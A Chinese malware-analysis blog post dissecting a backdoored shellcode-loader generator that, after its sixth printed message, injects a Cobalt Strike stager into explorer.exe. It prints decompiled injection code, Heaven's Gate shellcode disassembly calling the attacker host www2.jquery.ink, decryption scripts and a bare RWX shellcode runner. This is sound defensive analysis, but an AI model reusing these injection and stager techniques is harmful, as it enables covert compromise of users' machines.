前言
知名民间网络安全论坛T00s上发了这样一则帖子:于是找到m姐要来样本分析一波。
已有行为分析
根据论坛中的分析,程序有以下行为。
利用作者给的示例命令生成木马时:
发现有新会话注入到主进程explorer.exe,外联地址为121.5.147.81:2087。 explorer.exe的内存字符串包含www2.jquery.ink和CVE-2020-0729字样。 外联的流量与cs的https流量匹配。
主函数分析
开头输出帮助提示后,直接调整了一下特权(sub_401620
),发现多少有点问题。
// 主函数中调用:adjustPrivilege(L"SeDebugPrivilege");
CurrentThread = GetCurrentThread();
if ( OpenThreadToken(CurrentThread, 0x28u, 0, &TokenHandle) )
goto LABEL_13;
if ( GetLastError() != 1008 )
return 0;
CurrentProcess = GetCurrentProcess();
if ( !OpenProcessToken(CurrentProcess, 0x28u, &TokenHandle) )
return 0;
LABEL_13:
if ( LookupPrivilegeValueW(0, lpName, &Luid) )
{
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
NewState.Privileges[0].Luid = Luid;
if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, &PreviousState, &ReturnLength) )
//...
然后执行了免杀shellcode生成功能, 首先是读取并加密shellcode。
codeSize = readFile(argv[1]);
v5 = 0;
codeSize_1 = codeSize;
for ( i = sc; v5 < codeSize; ++v5 )
sc[v5] = (v5 ^ sc[v5]) + 1; // 加密Shellcode
读取ShellcodeLoader.exe。
LoaderSize = readFile("ShellcodeLoader.exe");
shellcodeLoader_1 = (char *)shellcodeLoader;
nNumberOfBytesToWrite = LoaderSize;
v29 = (char *)shellcodeLoader;
for ( j = 0; ; ++j )
{
v11 = (unsigned int)&shellcodeLoader_1[j];
if ( shellcodeLoader_1[j] == 'A' )
break;
LABEL_10:
;
}
然后找到placeholder并将shellcode写入(长度4字节+shellcode内容)。
v12 = 0;
while ( 1 )
{
++v12;
++j;
if ( v12 > 80 ) // 找到连续至少80个A的位置
break;
if ( shellcodeLoader_1[j] != 'A' )
goto LABEL_10;
}
if ( v11 <= (unsigned int)&codeSize_1 || v11 >= (unsigned int)&v28 )// 写入CodeSize
{
*(_DWORD *)v11 = codeSize;
}
else
{
*(_WORD *)(v11 + 2) = HIWORD(codeSize_1);
*(_BYTE *)(v11 + 1) = BYTE1(codeSize_1);
*(_BYTE *)v11 = codeSize;
}
v13 = v11 + 4;
if ( v11 + 4 <= (unsigned int)i || v13 >= (unsigned int)&i[codeSize] )
{
if ( codeSize )
{
v17 = &i[-v13];
do
{
v18 = v17[v13++]; // 复制CodeSize
*(_BYTE *)(v13 - 1) = v18;
--codeSize;
}
while ( codeSize );
}
}//...
最后写入文件并输出提示。
FileA = CreateFileA(argv[2], 0x40000000u, 0, 0, 2u, 0x80u, 0);
if ( FileA == (HANDLE)-1 )//...
do
{
WriteFile(v22, sc_loader, v20, &NumberOfBytesWritten, 0);
sc_loader += NumberOfBytesWritten;
v20 -= NumberOfBytesWritten;
}
while ( v20 );
CloseHandle(v22);
shellcodeLoader_1 = v29;
}
ProcessHeap = GetProcessHeap();
HeapFree(ProcessHeap, 0, shellcodeLoader_1);
printf((int)"rn[+] output file------->%srn", argv[2]);
看起来并没有恶意行为。
恶意函数分析
既然已有行为分析中发现有注入行为了,就找找进程API。
找Process32NextW
交叉引用。
BOOL __cdecl sub_401560(LPCWSTR lpString2, DWORD *a2)
{//...
pe.dwSize = 556;
hSnapshot = CreateToolhelp32Snapshot(2u, 0);
if ( hSnapshot == (HANDLE)-1 )
return 0;
Process32FirstW(hSnapshot, &pe);
while ( lstrcmpiW(pe.szExeFile, lpString2) )
{
if ( !Process32NextW(hSnapshot, &pe) )
goto LABEL_7;
}
*a2 = pe.th32ProcessID;
LABEL_7:
CloseHandle(hSnapshot);
hSnapshot = 0;
return *a2 != 0;
}
经典遍历进程,继续交叉引用得到:
int sub_401710()
{//...
dwProcessId = 0;
memset(String2, 0, sizeof(String2));
v3 = 0;
v1[0] = 2;
v1[1] = 17;
v1[2] = 0;
v1[3] = 3;
v1[4] = 6;
v1[5] = 14;
v1[6] = 2;
v1[7] = 14;
v1[8] = 15;
v1[9] = 2;
v1[10] = 17;
v1[11] = 2;
for ( i = 0; i != 12; ++i )
String2[i] = aS[v1[i]];
String2[2] = 'p';
result = sub_401560(String2, &dwProcessId);
if ( dwProcessId )
return sub_401290(dwProcessId);
return result;
字符串稍微解密一下,得到explorer.exe
,既然找到了explorer.exe
的PID,下一步应该是注入。
int __cdecl sub_401290(DWORD dwProcessId)
{
//...
for ( i = 0; i != 6; ++i )
ModuleName[i] = aAbcdefghijklmn[v3[i]];
v18 = 3276851;
hModule = GetModuleHandleW(ModuleName);
hObject = 0;
hObject = OpenProcess(0x1FFFFFu, 0, dwProcessId);
//...
v14 = 0;
for ( j = 0; j != 14; ++j )
ProcName[j] = aAbcdefghijklmn[dword_41A9E4[j]];
VirtualAllocEx = GetProcAddress(hModule, ProcName);
// ...
for ( k = 0; k != 18; ++k )
v4[k] = aAbcdefghijklmn[dword_41ADD8[k]];
WriteProcessMemory = GetProcAddress(hModule, v4);
if ( sub_401100() != 64 )
return 1;
hHeap = HeapCreate(0, 0, 0);
dwBytes = 929;
v27 = (char *)HeapAlloc(hHeap, 8u, 0x3A1u);
memmove(v27, &unk_41AA20, dwBytes);
for ( m = 0; m < dwBytes; ++m )
v27[m] = m ^ (v27[m] - 1); // 解密shellcode
v26 = ((int (__stdcall *)(HANDLE, _DWORD, SIZE_T, int, int))VirtualAllocEx)(hObject, 0, dwBytes, 12288, 64);
if ( v26 )
{
((void (__stdcall *)(HANDLE, int, char *, SIZE_T, char *))WriteProcessMemory)(hObject, v26, v27, dwBytes, v2);
v23 = 0;
v24 = 0;
v24 = (void (__cdecl *)(HANDLE, _DWORD, _DWORD, int, int, _DWORD, _DWORD, HANDLE *))sub_401230(&unk_41A8B0, 0x131u);
v24(hObject, 0, 0, v26, v26, 0, 0, &v23);
CloseHandle(hObject);
CloseHandle(v23);
return 1;
}
else
{
CloseHandle(hObject);
return 0;
}
}
最后调用了sub_401230
,用于分配空间并放入unk_41A8B0
。
sub_41A8B0分析
开头调用了sub_41A93
:
sub_41A933 proc far ; CODE XREF: sub_41A8B0+6↑p
.data:0041A933 E8 F5 FF FF FF call sub_41A92D // ret 1
.data:0041A933
.data:0041A938 74 07 jz short locret_41A941
.data:0041A938
.data:0041A93A 58 pop eax
.data:0041A93B 6A 33 push 33h ; '3'
.data:0041A93D 53 push ebx
.data:0041A93E 5B pop ebx
.data:0041A93F 50 push eax
.data:0041A940 CB retf
使用了天堂之门技术,所以后面的shellcode为64位反汇编。
import capstone as cs
sc=b'S[x85xc0tgHx89xe6Hx83xe4xf0Hx83xechxb8xfax809^S[xe8x86x00x00x00Hx89xc3M1xc0H1xc0Hx89D$PS[Hx89D$HHx89D$@Hx89D$8S[Hx89D$0x8bF$Hx89D$(x8bF Hx89D$ S[Dx8bNx14xbax00x00x00x10x8bN0S[xffxd3Hx89xf4xe8x1cx00x00x00]_^['
c=cs.Cs(cs.CS_ARCH_X86,cs.CS_MODE_64)
for i in c.disasm(sc,0x41a8bb):
print('%x: %s %s'%(i.address,i.mnemonic,i.op_str))
得到结果如下:
0x41a8bb: push rbx
0x41a8bc: pop rbx
0x41a8bd: test eax, eax
0x41a8bf: je 0x41a928
0x41a8c1: mov rsi, rsp
0x41a8c4: and rsp, 0xfffffffffffffff0
0x41a8c8: sub rsp, 0x68
0x41a8cc: mov eax, 0x5e3980fa
0x41a8d1: push rbx
0x41a8d2: pop rbx
0x41a8d3: call 0x41a95e
0x41a8d8: mov rbx, rax
0x41a8db: xor r8, r8
0x41a8de: xor rax, rax
0x41a8e1: mov qword ptr [rsp + 0x50], rax
0x41a8e6: push rbx
0x41a8e7: pop rbx
0x41a8e8: mov qword ptr [rsp + 0x48], rax
0x41a8ed: mov qword ptr [rsp + 0x40], rax
0x41a8f2: mov qword ptr [rsp + 0x38], rax
0x41a8f7: push rbx
0x41a8f8: pop rbx
0x41a8f9: mov qword ptr [rsp + 0x30], rax
0x41a8fe: mov eax, dword ptr [rsi + 0x24]
0x41a901: mov qword ptr [rsp + 0x28], rax
0x41a906: mov eax, dword ptr [rsi + 0x20]
0x41a909: mov qword ptr [rsp + 0x20], rax
0x41a90e: push rbx
0x41a90f: pop rbx
0x41a910: mov r9d, dword ptr [rsi + 0x14]
0x41a914: mov edx, 0x10000000
0x41a919: mov ecx, dword ptr [rsi + 0x30]
0x41a91c: push rbx
0x41a91d: pop rbx
0x41a91e: call rbx
0x41a920: mov rsp, rsi
0x41a923: call 0x41a944
0x41a928: pop rbp
0x41a929: pop rdi
0x41a92a: pop rsi
0x41a92b: pop rbx
调用了0x41A95e和0x41a944,其中sub_41a944
从天堂之门返回。
0x41a95e: call 0x41a947
0x41a963: push rbx
0x41a964: pop rbx
0x41a965: jne 0x41a977
0x41a967: pop rax
0x41a968: sub esp, 8
0x41a96b: mov dword ptr [rsp], eax
0x41a96e: mov dword ptr [rsp + 4], 0x23
sub_41A95e
的返回值被存入rbx进行调用。
Flink = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
while ( 1 )
{
v4 = Flink[1].Flink;
result = (unsigned int)v4;
if ( !v4 )
break;
Flink = Flink->Flink;
v6 = (unsigned int)a1;
a1 = *(unsigned int *)((char *)&v4[1].Blink
+ *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16)));
if ( *(_DWORD *)((char *)&v4[1].Blink
+ *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16))) )
{
LODWORD(v6) = *(_DWORD *)((char *)&v4[1].Blink
+ *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16))
+ 4);
v7 = (char *)v4 + v6;
LODWORD(v6) = *(_DWORD *)((char *)&v4[2].Flink
+ *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16)));
v8 = (char *)v4 + v6;
LODWORD(v6) = *(_DWORD *)((char *)&v4[2].Flink
+ *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16))
+ 4);
v9 = (char *)v4 + v6;
do
{
v10 = (char *)v4 + *(unsigned int *)&v8[4 * a1 - 4];
v11 = 0;
v12 = 0;
do
{
LOBYTE(v11) = *v10++;
v12 = __ROL4__(v11 + v12, 5);
--v11;
}
while ( v11 >= 0 );
--a1;
}
while ( v12 != v2 && a1 );
return (unsigned __int64)v4 + *(unsigned int *)&v7[4 * *(unsigned __int16 *)&v9[2 * a1]];
}
}
return result;
经典寻找模块名,函数名哈希存储在eax:0x5e3980fa
中,直接根据模块的加密算法暴力枚举好了。
import pefile
rol4=lambda x,i:((x<<i)|(x>>(32-i)))&0xffffffff
def encrypt_str(s):
n=0
for i in s:
n=rol4(n+i,5)
return n
pe=pefile.PE('ntdll.dll')
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name is None:continue
enc=encrypt_str(exp.name+b'x00')
if enc==0x5e3980fa:
print(exp.name)
找到是ntdll.dll
中的NtCreateThreadEx
,回到0x41a8bb,根据NtCreateThreadEx
的函数签名(Nt系列实际调用Zw系列)。
typedef DWORD(WINAPI* PfnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximunStackSize,
LPVOID pUnkown);
这里设置了执行参数,最重要的就是unk_41AA20
中的Shellcode。
unk_41AA20中的shellcode分析
使用如下脚本解密shellcode:
import ida_bytes as ib
base=0x41aa20
for i in range(929):
c=ib.get_byte(base+i)
c=(c-1)^i
ib.patch_byte(base+i,c)
得到:
0x0: cld
0x1: and rsp, 0xfffffffffffffff0
0x5: call 0xd2
0xa: push r9
0xc: push r8
0xe: push rdx
0xf: push rcx
0x10: push rsi
0x11: xor rdx, rdx
0x14: mov rdx, qword ptr gs:[rdx + 0x60]
0x19: mov rdx, qword ptr [rdx + 0x18]
0x1d: mov rdx, qword ptr [rdx + 0x20]
0x21: mov rsi, qword ptr [rdx + 0x50]
0x25: movzx rcx, word ptr [rdx + 0x4a]
0x2a: xor r9, r9
0x2d: xor rax, rax
0x30: lodsb al, byte ptr [rsi]
0x31: cmp al, 0x61
0x33: jl 0x37
0x35: sub al, 0x20
0x37: ror r9d, 0xd
0x3b: add r9d, eax
0x3e: loop 0x2d
0x40: push rdx
0x41: push r9
0x43: mov rdx, qword ptr [rdx + 0x20]
0x47: mov eax, dword ptr [rdx + 0x3c]
0x4a: add rax, rdx
0x4d: cmp word ptr [rax + 0x18], 0x20b
0x53: jne 0xc7
0x55: mov eax, dword ptr [rax + 0x88]
0x5b: test rax, rax
0x5e: je 0xc7
0x60: add rax, rdx
0x63: push rax
0x64: mov ecx, dword ptr [rax + 0x18]
0x67: mov r8d, dword ptr [rax + 0x20]
0x6b: add r8, rdx
0x6e: jrcxz 0xc6
0x70: dec rcx
0x73: mov esi, dword ptr [r8 + rcx*4]
0x77: add rsi, rdx
0x7a: xor r9, r9
0x7d: xor rax, rax
0x80: lodsb al, byte ptr [rsi]
0x81: ror r9d, 0xd
0x85: add r9d, eax
0x88: cmp al, ah
0x8a: jne 0x7d
0x8c: add r9, qword ptr [rsp + 8]
0x91: cmp r9d, r10d
0x94: jne 0x6e
0x96: pop rax
0x97: mov r8d, dword ptr [rax + 0x24]
0x9b: add r8, rdx
0x9e: mov cx, word ptr [r8 + rcx*2]
0xa3: mov r8d, dword ptr [rax + 0x1c]
0xa7: add r8, rdx
0xaa: mov eax, dword ptr [r8 + rcx*4]
0xae: add rax, rdx
0xb1: pop r8
0xb3: pop r8
0xb5: pop rsi
0xb6: pop rcx
0xb7: pop rdx
0xb8: pop r8
0xba: pop r9
0xbc: pop r10
0xbe: sub rsp, 0x20
0xc2: push r10
0xc4: jmp rax
0xc6: pop rax
0xc7: pop r9
0xc9: pop rdx
0xca: mov rdx, qword ptr [rdx]
0xcd: jmp 0x21
0xd2: pop rbp
0xd3: push 0
0xd5: movabs r14, 0x74656e696e6977
0xdf: push r14
0xe1: mov r14, rsp
0xe4: mov rcx, r14
0xe7: mov r10d, 0x726774c
0xed: call rbp
0xef: xor rcx, rcx
0xf2: xor rdx, rdx
0xf5: xor r8, r8
0xf8: xor r9, r9
0xfb: push r8
0xfd: push r8
0xff: mov r10d, 0xa779563a
0x105: call rbp
0x107: jmp 0x19f
0x10c: pop rdx
0x10d: mov rcx, rax
0x110: mov r8d, 0x827
0x116: xor r9, r9
0x119: push r9
0x11b: push r9
0x11d: push 3
0x11f: push r9
0x121: mov r10d, 0xc69f8957
0x127: call rbp
0x129: jmp 0x1a4
0x12b: pop rbx
0x12c: mov rcx, rax
0x12f: xor rdx, rdx
0x132: mov r8, rbx
0x135: xor r9, r9
0x138: push rdx
0x139: push -0x7b3fce00
0x13e: push rdx
0x13f: push rdx
0x140: mov r10d, 0x3b2e55eb
0x146: call rbp
0x148: mov rsi, rax
0x14b: add rbx, 0x50
0x14f: push 0xa
0x151: pop rdi
0x152: mov rcx, rsi
0x155: mov edx, 0x1f
0x15a: push 0
0x15c: push 0x3380
0x161: mov r8, rsp
0x164: mov r9d, 4
0x16a: mov r10d, 0x869e4675
0x170: call rbp
0x172: mov rcx, rsi
0x175: mov rdx, rbx
0x178: mov r8, 0xffffffffffffffff
0x17f: xor r9, r9
0x182: push rdx
0x183: push rdx
0x184: mov r10d, 0x7b18062d
0x18a: call rbp
0x18c: test eax, eax
0x18e: jne 0x331
0x194: dec rdi
0x197: je 0x329
0x19d: jmp 0x152
0x19f: jmp 0x388
0x1a4: call 0x12b
但是手动复现计算失败了,直接使用shellcode加载器调试:
uint8_t sc[]={/*...*/};
int main() {
printf("Hello,World, %dn", sc[0] + sc[1]);
uint8_t* c =(uint8_t*) VirtualAlloc(NULL, 0x4000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(c, sc, sizeof(sc));
(*(void(*)()) c)();
}
特别说明
-
0x726774c对应LoadLibraryA,加载的是winnet -
0xa779563a对应InternetOpenA -
c69f857对应InternetConnectA,看到域名www2.jquery.ink -
0x3b2e55eb对应HttpOpenRequestA,看到路径/maps/overlayBfpr -
0x869e4675对应InternetSetOptinoA,看到UA: Host: www2.jquery.inkrnAccept: */*rnAccept-Language: en-US,en;q=0.5rnConnection: closernUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU)rn
-
0x7b18062d对应HttpSendRequestA
这一套下来后,如果HttpSendRequestA失败,则结束;如果成功,则继续后续操作。此时已经是CobaltStrike自动生成木马,分析流量无益,读者感兴趣可以自行分析。
调用路径分析
主函数中似乎并没有发现恶意行为,除了特权调整,那么恶意函数如何执行呢?
可以从sub_401710
交叉引用:
int __cdecl sub_401800(int a1)
{
if ( dword_41B870 == 6 )
sub_401710();
else
++dword_41B870;
return a1;
}
判断了一个全局变量,如果是6则执行注入操作,否则继续+1,继续交叉引用,发现很多无用函数。
int __cdecl sub_401830(int a1)
{
sub_401800(a1);
return a1;
}
使用下面的脚本过掉这种:
start=0x401800
r=[i for i in CodeRefsTo(start,1)]
while len(r)==1:
print(hex(start))
start=r[0]-7
r=[i for i in CodeRefsTo(start,1)]
发现是自定义打印函数中的一个函数。
int printf(int a1, ...)
{
va_list va; // [esp+14h] [ebp+Ch] BYREF
va_start(va, a1);
__acrt_iob_func(1u);
sub_401010(va);
return sub_401930(dword_41B870); // 恶意调用
}
然后查看主函数,发现提示正好6次,最后生成完整ShellcodeLoader之后的提示执行恶意行为。
总结
-
安全工具最好放入虚拟机或隔绝的机器执行。 -
开源软件有时还是自己编译更安全。
参考
-
https://blog.csdn.net/weixin_43090100/article/details/82939499
-
T00s帖子
某shellcode加载器疑似存在后门【求分析】
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):某ShellcodeLoader生成器隐藏后门分析